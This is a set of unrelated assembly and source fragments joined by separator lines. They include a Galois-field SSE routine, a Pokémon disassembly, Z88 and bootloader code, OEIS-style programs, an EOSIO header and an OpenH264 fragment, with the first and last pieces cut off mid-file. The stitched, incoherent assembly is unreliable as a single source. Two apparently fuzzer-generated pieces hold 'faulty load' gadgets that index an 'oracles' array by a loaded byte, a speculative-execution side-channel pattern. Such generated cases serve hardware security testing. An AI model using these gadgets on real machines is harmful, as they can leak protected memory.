%define XSTR movdqa
%else
%define XLDR movntdqa
%define XSTR movntdq
%endif
%endif
%ifidn PS,8 ;64-bit code
default rel
[bits 64]
%endif
section .text
%define xmask0f xmm5
%define xgft_lo xmm4
%define xgft_hi xmm3
%define x0 xmm0
%define xtmpa xmm1
%define xp xmm2
align 16
global gf_vect_dot_prod_sse:function
func(gf_vect_dot_prod_sse)
FUNC_SAVE
SLDR len, len_m
sub len, 16
SSTR len_m, len
jl .return_fail
xor pos, pos
movdqa xmask0f, [mask0f] ;Load mask of lower nibble in each byte
.loop16:
pxor xp, xp
mov tmp, mul_array
xor vec_i, vec_i
.next_vect:
mov ptr, [src+vec_i*PS]
movdqu xgft_lo, [tmp] ;Load array Cx{00}, Cx{01}, ..., Cx{0f}
movdqu xgft_hi, [tmp+16] ; " Cx{00}, Cx{10}, ..., Cx{f0}
XLDR x0, [ptr+pos] ;Get next source vector
add tmp, 32
add vec_i, 1
movdqa xtmpa, x0 ;Keep unshifted copy of src
psraw x0, 4 ;Shift to put high nibble into bits 4-0
pand x0, xmask0f ;Mask high src nibble in bits 4-0
pand xtmpa, xmask0f ;Mask low src nibble in bits 4-0
pshufb xgft_hi, x0 ;Lookup mul table of high nibble
pshufb xgft_lo, xtmpa ;Lookup mul table of low nibble
pxor xgft_hi, xgft_lo ;GF add high and low partials
pxor xp, xgft_hi ;xp += partial
SLDR vec, vec_m
cmp vec_i, vec
jl .next_vect
SLDR dest, dest_m
XSTR [dest+pos], xp
add pos, 16 ;Loop on 16 bytes at a time
SLDR len, len_m
cmp pos, len
jle .loop16
lea tmp, [len + 16]
cmp pos, tmp
je .return_pass
;; Tail len
mov pos, len ;Overlapped offset length-16
jmp .loop16 ;Do one more overlap pass
.return_pass:
mov return, 0
FUNC_RESTORE
ret
.return_fail:
mov return, 1
FUNC_RESTORE
ret
endproc_frame
section .data
align 16
mask0f: dq 0x0f0f0f0f0f0f0f0f, 0x0f0f0f0f0f0f0f0f
;;; func core, ver, snum
slversion gf_vect_dot_prod_sse, 00, 05, 0060
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x1725d, %rdi
clflush (%rdi)
nop
nop
nop
inc %rdx
mov $0x6162636465666768, %r12
movq %r12, (%rdi)
xor $21278, %rdx
lea addresses_A_ht+0x1b95d, %rdi
nop
nop
nop
cmp $16039, %r14
mov $0x6162636465666768, %r13
movq %r13, (%rdi)
nop
nop
nop
nop
nop
xor $26079, %r12
lea addresses_D_ht+0x1425d, %rax
nop
nop
nop
nop
nop
sub %rbp, %rbp
movb $0x61, (%rax)
nop
nop
sub %rax, %rax
lea addresses_D_ht+0x13813, %rdi
nop
and %r12, %r12
movl $0x61626364, (%rdi)
nop
cmp $56885, %r14
lea addresses_WC_ht+0x525d, %rbp
cmp %r13, %r13
movb $0x61, (%rbp)
nop
xor %r13, %r13
lea addresses_WC_ht+0xd1fd, %rsi
lea addresses_WC_ht+0x1ab5d, %rdi
nop
nop
nop
add %r13, %r13
mov $122, %rcx
rep movsw
nop
nop
nop
nop
nop
and $45969, %r14
lea addresses_UC_ht+0xc25d, %r13
sub $13413, %rax
movups (%r13), %xmm0
vpextrq $1, %xmm0, %rdx
nop
nop
nop
nop
cmp %rax, %rax
lea addresses_normal_ht+0x10b4d, %rax
nop
nop
nop
nop
inc %r14
movw $0x6162, (%rax)
cmp %rdi, %rdi
lea addresses_UC_ht+0x1365d, %rbp
nop
nop
nop
nop
xor %r12, %r12
movl $0x61626364, (%rbp)
nop
nop
xor $3862, %r14
lea addresses_WT_ht+0x465d, %rsi
lea addresses_WT_ht+0xa19d, %rdi
nop
sub %r14, %r14
mov $11, %rcx
rep movsq
nop
nop
cmp %rax, %rax
lea addresses_normal_ht+0x1cd9d, %r12
nop
nop
nop
xor %rdi, %rdi
vmovups (%r12), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %rsi
dec %rdi
lea addresses_D_ht+0x1d05d, %r14
nop
xor $63722, %rbp
mov (%r14), %r13w
nop
nop
nop
dec %rbp
lea addresses_UC_ht+0xe25d, %rsi
nop
nop
nop
nop
nop
and %rdx, %rdx
movb $0x61, (%rsi)
nop
nop
nop
nop
nop
add %r12, %r12
lea addresses_A_ht+0x1c8bd, %r12
nop
nop
nop
nop
nop
add %rbp, %rbp
mov $0x6162636465666768, %r14
movq %r14, %xmm7
movups %xmm7, (%r12)
nop
nop
nop
nop
nop
sub $55795, %rsi
lea addresses_WT_ht+0x14fb, %r12
nop
nop
nop
and %rsi, %rsi
mov (%r12), %r13d
nop
nop
xor %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r8
push %r9
push %rbp
push %rbx
push %rsi
// Store
mov $0x77d7ba000000065d, %rsi
nop
nop
nop
inc %rbp
movl $0x51525354, (%rsi)
sub %r11, %r11
// Store
lea addresses_D+0x1fb7d, %rsi
nop
inc %r8
mov $0x5152535455565758, %r13
movq %r13, %xmm7
vmovups %ymm7, (%rsi)
nop
nop
nop
nop
nop
and %r8, %r8
// Faulty Load
mov $0x77d7ba000000065d, %rsi
add %r9, %r9
mov (%rsi), %r11w
lea oracles, %rsi
and $0xff, %r11
shlq $12, %r11
mov (%rsi,%r11,1), %r11
pop %rsi
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 1, 'same': False}}
{'00': 330, '54': 140, '16': 4}
00 54 00 54 00 00 00 00 00 00 00 00 00 54 00 54 54 00 00 00 00 00 00 54 54 54 00 54 00 54 00 54 00 54 00 00 54 00 54 54 00 00 54 00 00 00 00 00 00 00 00 00 00 54 54 00 00 54 00 00 00 00 00 00 16 00 54 54 00 54 00 00 00 54 00 00 00 00 00 00 00 54 00 00 00 54 00 00 00 00 00 54 00 54 54 00 54 00 00 54 54 00 54 00 00 00 54 00 00 00 00 16 00 54 00 54 00 00 00 00 00 00 54 00 00 54 54 54 54 00 00 54 54 00 00 00 54 54 00 00 00 00 00 00 00 00 54 00 00 54 00 00 00 00 00 54 00 00 00 00 00 00 54 54 00 00 00 00 54 00 00 00 00 00 00 00 00 54 00 00 00 00 00 54 00 00 00 00 00 00 54 54 54 54 54 00 00 54 54 54 54 00 00 00 00 54 00 00 00 00 00 54 00 00 00 54 00 00 00 00 00 54 00 00 00 00 00 54 00 00 00 00 54 00 54 00 00 00 00 00 00 00 54 00 00 54 00 54 00 00 00 00 00 00 00 00 00 54 54 00 54 00 00 00 54 00 54 16 00 00 54 00 00 00 54 00 00 00 00 00 54 54 00 00 54 00 00 54 54 54 00 00 00 54 00 00 00 00 54 00 54 00 54 54 00 00 00 00 00 00 00 00 00 54 00 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 54 54 54 00 00 00 54 00 00 00 00 00 00 54 00 00 00 00 54 00 54 00 54 00 54 00 54 54 54 54 00 00 00 00 00 00 00 00 00 00 00 00 00 54 00 00 00 00 00 54 54 54 00 00 00 00 54 00 00 54 54 54 00 00 00 00 00 00 00 00 00 54 00 00 54 00 54 54 54 00 00 00 00 00 54 00 00 00 00 54 00 00 16 54 00 54 54 00 54 00 00 00 00 00 00 54 54 54 00 54 00 00 00 54 00 00 00 54 54 00 00 54 00 00 54 00 00 54 54 00 00 00 00 54 54 00 54 54 54 00 00
*/
|
TrashCanRandom:
ld d, 0
ld hl, .Jumptable
add hl, de
add hl, de
ld a, [hli]
ld h, [hl]
ld l, a
call JumpToAddress
ld e, a
ld d, 0
ret
.Jumptable:
dw .zero
dw .one
dw .two
dw .three
dw .four
.zero
.one
ld a, 0
ret
.two
call Random
and $1
ret
.three ; should return to a, instead returns to b
call Random
swap a
cp 1 * $ff / 3
ld b, 0
ret c
cp 2 * $ff / 3
ld b, 1
ret c
ld b, 2
ret
.four
call Random
and $3
ret
Yellow_SampleSecondTrashCan:
ld hl, GymTrashCans3c
ld a, [wGymTrashCanIndex]
ld c, a
ld b, 0
ld a, 9
call AddNTimes
call AddNTimes ; ????
ld a, [hli]
ld [hGymTrashCanRandNumMask], a
ld e, a
push hl
call TrashCanRandom
pop hl
add hl, de
add hl, de
ld a, [hli]
ld [wSecondLockTrashCanIndex], a
ld a, [hl]
ld [wSecondLockTrashCanIndex + 1], a
ret
GymTrashCans3c:
; First byte: number of trashcan entries
; Following four byte pairs: indices for the second trash can.
; BUG: Rows that have 3 trashcan entries are sampled incorrectly.
; The sampling occurs by taking a random number and seeing which
; third of the range 0-255 the number falls in. However, it returns
; that value to the wrong register, so the result is never used.
; Instead of using an offset in [0,1,2], the offset is instead
; in the full range 0-255. This results in truly random behavior.
db 4
db 1,3, 3,1, 1,-1, 3,-1
db 3
db 0,2, 2,4, 4,0, -1,-1
db 4
db 1,5, 5,1, 1,-1, 5,-1
db 3
db 0,4, 4,6, 6,0, -1,-1
db 4
db 1,3, 3,1, 5,5, 7,7
db 3
db 2,4, 4,8, 8,2, -1,-1
db 3
db 3,7, 7,9, 9,3, -1,-1
db 4
db 4,8, 6,10, 8,4, 10,6
db 3
db 5,7, 7,11, 11,5, -1,-1
db 3
db 6,10, 10,12, 12,6, -1,-1
db 4
db 7,9, 9,7, 11,13, 13,11
db 3
db 8,10, 10,14, 14,8, -1,-1
db 4
db 9,13, 13,9, 9,-1, 13,-1
db 3
db 10,12, 12,14, 14,10, -1,-1
db 4
db 11,13, 13,11, 11,-1, 13,-1
|
;
; Small C z88 File functions
; Written by Dominic Morris <djm@jb.man.ac.uk>
; 30 September 1998 ** UNTESTED **
;
; *** THIS IS A Z88 SPECIFIC ROUTINE!!! ***
; This doesn't check for validity of filename at all.
;
; -----
; $Id: mkdir.asm,v 1.6 2015/01/19 01:33:22 pauloscustodio Exp $
INCLUDE "fileio.def"
INCLUDE "stdio.def"
INCLUDE "dor.def"
INCLUDE "error.def"
PUBLIC mkdir
;int mkdir(char *s1,int mode)
;on stack:
;return address,mode,s1
;s1=filename of directory to make
.mkdir
;Repeating stuff from fopen, very bad but...
ld d,OP_DIR ;make directory
;Try to open the file
;d=access mode..
;Create some room on the stack for the filename to be expanded into..
.fopen_try
ld hl,-10
add hl,sp
ld sp,hl
;So, d=mode, hl=where to expand filename to...
ld b,d ;keep open specifier
ex de,hl ;put this in final place
ld c,8 ;max chars to expand..
;Now, find the filename!
ld hl,4+10
add hl,sp
ld a,(hl)
inc hl
ld h,(hl)
ld l,a ;hl should point to filename
ld a,b ;open type
ld b,0 ;absolute page
call_oz(gn_opf)
ex af,af' ;keep our flags!
ld hl,10
add hl,sp
ld sp,hl ;restore our stack (we did nothing to it!)
ex af,af'
;ix is our dor handle
ld hl,1
ret c
;Now we have to free the directory dor
ld a,dr_fre
call_oz(os_dor)
ld hl,0 ;NULL
ret
|
; A085624: Sum of the entries in the character table of the dihedral group D_{2n} of order 2n.
; 2,4,5,8,8,10,11,14,14,16,17,20,20,22,23,26,26,28,29,32,32,34,35,38,38,40,41,44,44,46,47,50,50,52,53,56,56,58,59,62,62,64,65,68,68,70,71,74,74,76,77,80,80,82,83,86,86,88,89,92,92,94,95,98,98,100,101,104,104,106,107,110,110,112,113,116,116,118,119,122,122,124,125,128,128,130,131,134,134,136,137,140,140,142,143,146,146,148,149,152,152,154,155,158,158,160,161,164,164,166,167,170,170,172,173,176,176,178,179,182,182,184,185,188,188,190,191,194,194,196,197,200,200,202,203,206,206,208,209,212,212,214,215,218,218,220,221,224,224,226,227,230,230,232,233,236,236,238,239,242,242,244,245,248,248,250,251,254,254,256,257,260,260,262,263,266,266,268,269,272,272,274,275,278,278,280,281,284,284,286,287,290,290,292,293,296,296,298,299,302,302,304,305,308,308,310,311,314,314,316,317,320,320,322,323,326,326,328,329,332,332,334,335,338,338,340,341,344,344,346,347,350,350,352,353,356,356,358,359,362,362,364,365,368,368,370,371,374,374,376
mul $0,-3
sub $0,3
mov $1,$0
gcd $1,4
sub $1,$0
div $1,2
|
; A315308: Coordination sequence Gal.5.299.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,6,10,16,20,26,30,36,40,46,52,56,62,66,72,76,82,86,92,98,102,108,112,118,122,128,132,138,144,148,154,158,164,168,174,178,184,190,194,200,204,210,214,220,224,230,236,240,246,250
mov $3,$0
mul $0,2
mov $1,$0
add $1,1
add $1,$0
mov $4,$0
add $4,$0
add $4,3
mov $0,$4
add $0,2
lpb $0,1
trn $1,2
mov $2,$0
sub $2,8
mov $0,$2
trn $0,1
lpe
lpb $3,1
add $1,2
sub $3,1
lpe
add $1,1
|
#pragma once
#include <eosio/chain/authority.hpp>
#include <eosio/chain/chain_config.hpp>
#include <eosio/chain/config.hpp>
#include <eosio/chain/types.hpp>
namespace eosio { namespace chain {
using action_name = eosio::chain::action_name;
struct newaccount {
account_name creator;
account_name name;
bool init_ram = false;
authority owner;
authority active;
static account_name get_account() {
return config::system_account_name;
}
static action_name get_name() {
return N(newaccount);
}
};
struct setcode {
account_name account;
uint8_t vmtype = 0;
uint8_t vmversion = 0;
bytes code;
static account_name get_account() {
return config::system_account_name;
}
static action_name get_name() {
return N(setcode);
}
};
struct setabi {
account_name account;
bytes abi;
static account_name get_account() {
return config::system_account_name;
}
static action_name get_name() {
return N(setabi);
}
};
struct updateauth {
account_name account;
permission_name permission;
permission_name parent;
authority auth;
static account_name get_account() {
return config::system_account_name;
}
static action_name get_name() {
return N(updateauth);
}
};
struct deleteauth {
deleteauth() = default;
deleteauth(const account_name& account, const permission_name& permission)
:account(account), permission(permission)
{}
account_name account;
permission_name permission;
static account_name get_account() {
return config::system_account_name;
}
static action_name get_name() {
return N(deleteauth);
}
};
struct linkauth {
linkauth() = default;
linkauth(const account_name& account, const account_name& code, const action_name& type, const permission_name& requirement)
:account(account), code(code), type(type), requirement(requirement)
{}
account_name account;
account_name code;
action_name type;
permission_name requirement;
static account_name get_account() {
return config::system_account_name;
}
static action_name get_name() {
return N(linkauth);
}
};
struct unlinkauth {
unlinkauth() = default;
unlinkauth(const account_name& account, const account_name& code, const action_name& type)
:account(account), code(code), type(type)
{}
account_name account;
account_name code;
action_name type;
static account_name get_account() {
return config::system_account_name;
}
static action_name get_name() {
return N(unlinkauth);
}
};
struct canceldelay {
permission_level canceling_auth;
transaction_id_type trx_id;
static account_name get_account() {
return config::system_account_name;
}
static action_name get_name() {
return N(canceldelay);
}
};
struct onerror {
uint128_t sender_id;
bytes sent_trx;
onerror( uint128_t sid, const char* data, size_t len )
:sender_id(sid),sent_trx(data,data+len){}
static account_name get_account() {
return config::system_account_name;
}
static action_name get_name() {
return N(onerror);
}
};
} } /// namespace eosio::chain
FC_REFLECT( eosio::chain::newaccount , (creator)(name)(init_ram)(owner)(active) )
FC_REFLECT( eosio::chain::setcode , (account)(vmtype)(vmversion)(code) )
FC_REFLECT( eosio::chain::setabi , (account)(abi) )
FC_REFLECT( eosio::chain::updateauth , (account)(permission)(parent)(auth) )
FC_REFLECT( eosio::chain::deleteauth , (account)(permission) )
FC_REFLECT( eosio::chain::linkauth , (account)(code)(type)(requirement) )
FC_REFLECT( eosio::chain::unlinkauth , (account)(code)(type) )
FC_REFLECT( eosio::chain::canceldelay , (canceling_auth)(trx_id) )
FC_REFLECT( eosio::chain::onerror , (sender_id)(sent_trx) )
|
%include "meminfo.inc"
section loader align=16 vstart=LOADER_ADDR
jmp start
msg db 'This is a hello message from loader!', 0x0d, 0x0a, 0
start:
xor ax, ax
mov ds, ax
mov es, ax
mov ss, ax
mov sp, STACK_ADDR
mov si, msg
call printmsg
jmp $
printmsg:
mov ah, 0x0e
mov al, [si]
cmp al, 0
jz _strend
int 0x10
inc si
jmp printmsg
_strend:
ret
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r15
push %r9
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x13da, %rcx
clflush (%rcx)
nop
nop
nop
nop
inc %r15
mov (%rcx), %dx
nop
nop
nop
and $39079, %rbx
lea addresses_UC_ht+0xda0a, %r13
nop
nop
cmp %r11, %r11
movups (%r13), %xmm5
vpextrq $1, %xmm5, %r15
nop
nop
nop
dec %rcx
lea addresses_WT_ht+0x88d4, %r11
nop
nop
nop
nop
add $42190, %r9
mov $0x6162636465666768, %rbx
movq %rbx, (%r11)
nop
nop
nop
nop
and $33200, %r13
lea addresses_normal_ht+0x1e2ca, %rdx
nop
nop
nop
xor %r13, %r13
mov $0x6162636465666768, %rcx
movq %rcx, (%rdx)
nop
nop
nop
nop
sub $41441, %rdx
lea addresses_normal_ht+0x9b2a, %rcx
cmp $19640, %r13
movb $0x61, (%rcx)
nop
nop
nop
cmp $55916, %rcx
lea addresses_WT_ht+0x196aa, %rcx
nop
nop
nop
nop
nop
cmp $21205, %r11
movl $0x61626364, (%rcx)
dec %rbx
lea addresses_WC_ht+0x11eaa, %r11
nop
nop
cmp $65207, %rbx
mov (%r11), %r15d
nop
nop
nop
sub $49199, %rcx
lea addresses_WC_ht+0x6322, %rsi
lea addresses_normal_ht+0x1ddaa, %rdi
nop
nop
nop
nop
nop
add $19781, %r11
mov $64, %rcx
rep movsb
nop
nop
nop
xor %rbx, %rbx
lea addresses_A_ht+0x8aaa, %rcx
nop
nop
nop
nop
add %rbx, %rbx
mov (%rcx), %edx
nop
nop
nop
xor %r9, %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r15
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r15
push %r9
push %rcx
push %rdx
// Store
lea addresses_US+0xabf8, %r15
sub $23253, %r11
movl $0x51525354, (%r15)
nop
nop
nop
nop
nop
sub %r13, %r13
// Store
lea addresses_PSE+0x152aa, %r9
add $53167, %rcx
movl $0x51525354, (%r9)
nop
nop
nop
nop
sub %rdx, %rdx
// Store
lea addresses_A+0x11a5a, %r11
nop
nop
xor $23656, %r9
movw $0x5152, (%r11)
add %r11, %r11
// Load
lea addresses_D+0x1e7aa, %rdx
nop
nop
xor %r9, %r9
movups (%rdx), %xmm6
vpextrq $1, %xmm6, %rcx
nop
nop
nop
nop
and $28428, %r9
// Store
lea addresses_normal+0x52aa, %rcx
nop
nop
nop
nop
nop
and %r15, %r15
movb $0x51, (%rcx)
nop
nop
nop
nop
cmp %rcx, %rcx
// Store
lea addresses_A+0xcdf6, %r12
nop
nop
nop
nop
nop
inc %rcx
mov $0x5152535455565758, %r9
movq %r9, %xmm6
vmovaps %ymm6, (%r12)
nop
nop
nop
xor %r11, %r11
// Faulty Load
lea addresses_RW+0x8aaa, %rdx
clflush (%rdx)
nop
nop
nop
nop
and %r13, %r13
mov (%rdx), %r12w
lea oracles, %rcx
and $0xff, %r12
shlq $12, %r12
mov (%rcx,%r12,1), %r12
pop %rdx
pop %rcx
pop %r9
pop %r15
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 9, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 8, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': True, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 3, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': True, 'NT': True}}
{'32': 2}
32 32
*/
|
ldi $s0, 4 //0,1
wp $s0, 0
nop
nop
nop
ldi $s0, 0
rp $s1, 0
addi $s1, 6
wp $rr, 0
loop: j loop |
; A331528: a(n) = n^2 * (n+1)^2 * (n^2+n+1) / 12.
; 0,1,21,156,700,2325,6321,14896,31536,61425,111925,193116,318396,505141,775425,1156800,1683136,2395521,3343221,4584700,6188700,8235381,10817521,14041776,18030000,22920625,28870101,36054396,44670556,54938325,67101825,81431296,98224896
mov $3,1
add $3,$0
pow $0,2
add $0,$3
mov $1,$0
mul $0,2
mov $2,$0
lpb $0,1
mov $0,2
div $2,4
pow $2,2
mul $1,$2
lpe
div $1,3
|
;*!
;* \copy
;* Copyright (c) 2009-2013, Cisco Systems
;* All rights reserved.
;*
;* Redistribution and use in source and binary forms, with or without
;* modification, are permitted provided that the following conditions
;* are met:
;*
;* * Redistributions of source code must retain the above copyright
;* notice, this list of conditions and the following disclaimer.
;*
;* * Redistributions in binary form must reproduce the above copyright
;* notice, this list of conditions and the following disclaimer in
;* the documentation and/or other materials provided with the
;* distribution.
;*
;* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
;* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
;* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
;* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
;* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
;* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
;* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
;* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
;* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
;* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
;* POSSIBILITY OF SUCH DAMAGE.
;*
;*
;* upsampling.asm
;*
;* Abstract
;* SIMD for pixel domain down sampling
;*
;* History
;* 10/22/2009 Created
;*
;*************************************************************************/
%include "asm_inc.asm"
%ifdef __NASM_VER__
%use smartalign
%endif
;***********************************************************************
; Macros and other preprocessor constants
;***********************************************************************
;***********************************************************************
; Some constants
;***********************************************************************
;***********************************************************************
; Local Data (Read Only)
;***********************************************************************
SECTION .rodata align=32
;***********************************************************************
; Various memory constants (trigonometric values or rounding values)
;***********************************************************************
ALIGN 32
db80h_256:
times 32 db 80h
shufb_0000000088888888:
times 8 db 0
times 8 db 8
shufb_000044448888CCCC:
times 4 db 0
times 4 db 4
times 4 db 8
times 4 db 12
shufb_mask_low:
db 00h, 80h, 02h, 80h, 04h, 80h, 06h, 80h, 08h, 80h, 0ah, 80h, 0ch, 80h, 0eh, 80h
shufb_mask_high:
db 01h, 80h, 03h, 80h, 05h, 80h, 07h, 80h, 09h, 80h, 0bh, 80h, 0dh, 80h, 0fh, 80h
add_extra_half:
dd 16384,0,0,0
shufb_mask_quarter:
db 00h, 04h, 08h, 0ch, 80h, 80h, 80h, 80h, 01h, 05h, 09h, 0dh, 80h, 80h, 80h, 80h
shufb_mask_onethird_low_1:
db 00h, 03h, 06h, 09h, 0ch, 0fh, 80h, 80h, 80h, 80h, 80h, 80h, 80h, 80h, 80h, 80h
shufb_mask_onethird_low_2:
db 80h, 80h, 80h, 80h, 80h, 80h, 02h, 05h, 08h, 0bh, 0eh, 80h, 80h, 80h, 80h, 80h
shufb_mask_onethird_low_3:
db 80h, 80h, 80h, 80h, 80h, 80h, 80h, 80h, 80h, 80h, 80h, 01h, 04h, 07h, 0ah, 0dh
shufb_mask_onethird_high_1:
db 01h, 04h, 07h, 0ah, 0dh, 80h, 80h, 80h, 80h, 80h, 80h, 80h, 80h, 80h, 80h, 80h
shufb_mask_onethird_high_2:
db 80h, 80h, 80h, 80h, 80h, 00h, 03h, 06h, 09h, 0ch, 0fh, 80h, 80h, 80h, 80h, 80h
shufb_mask_onethird_high_3:
db 80h, 80h, 80h, 80h, 80h, 80h, 80h, 80h, 80h, 80h, 80h, 02h, 05h, 08h, 0bh, 0eh
;***********************************************************************
; Code
;***********************************************************************
SECTION .text
;***********************************************************************
; void DyadicBilinearDownsamplerWidthx32_sse( unsigned char* pDst, const int iDstStride,
; unsigned char* pSrc, const int iSrcStride,
; const int iSrcWidth, const int iSrcHeight );
;***********************************************************************
WELS_EXTERN DyadicBilinearDownsamplerWidthx32_sse
%ifdef X86_32
push r6
%assign push_num 1
%else
%assign push_num 0
%endif
LOAD_6_PARA
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r3, r3d
SIGN_EXTENSION r4, r4d
SIGN_EXTENSION r5, r5d
%ifndef X86_32
push r12
mov r12, r4
%endif
sar r5, $01 ; iSrcHeight >> 1
.yloops1:
%ifdef X86_32
mov r4, arg5
%else
mov r4, r12
%endif
sar r4, $01 ; iSrcWidth >> 1
mov r6, r4 ; iDstWidth restored at ebx
sar r4, $04 ; (iSrcWidth >> 1) / 16 ; loop count = num_of_mb
neg r6 ; - (iSrcWidth >> 1)
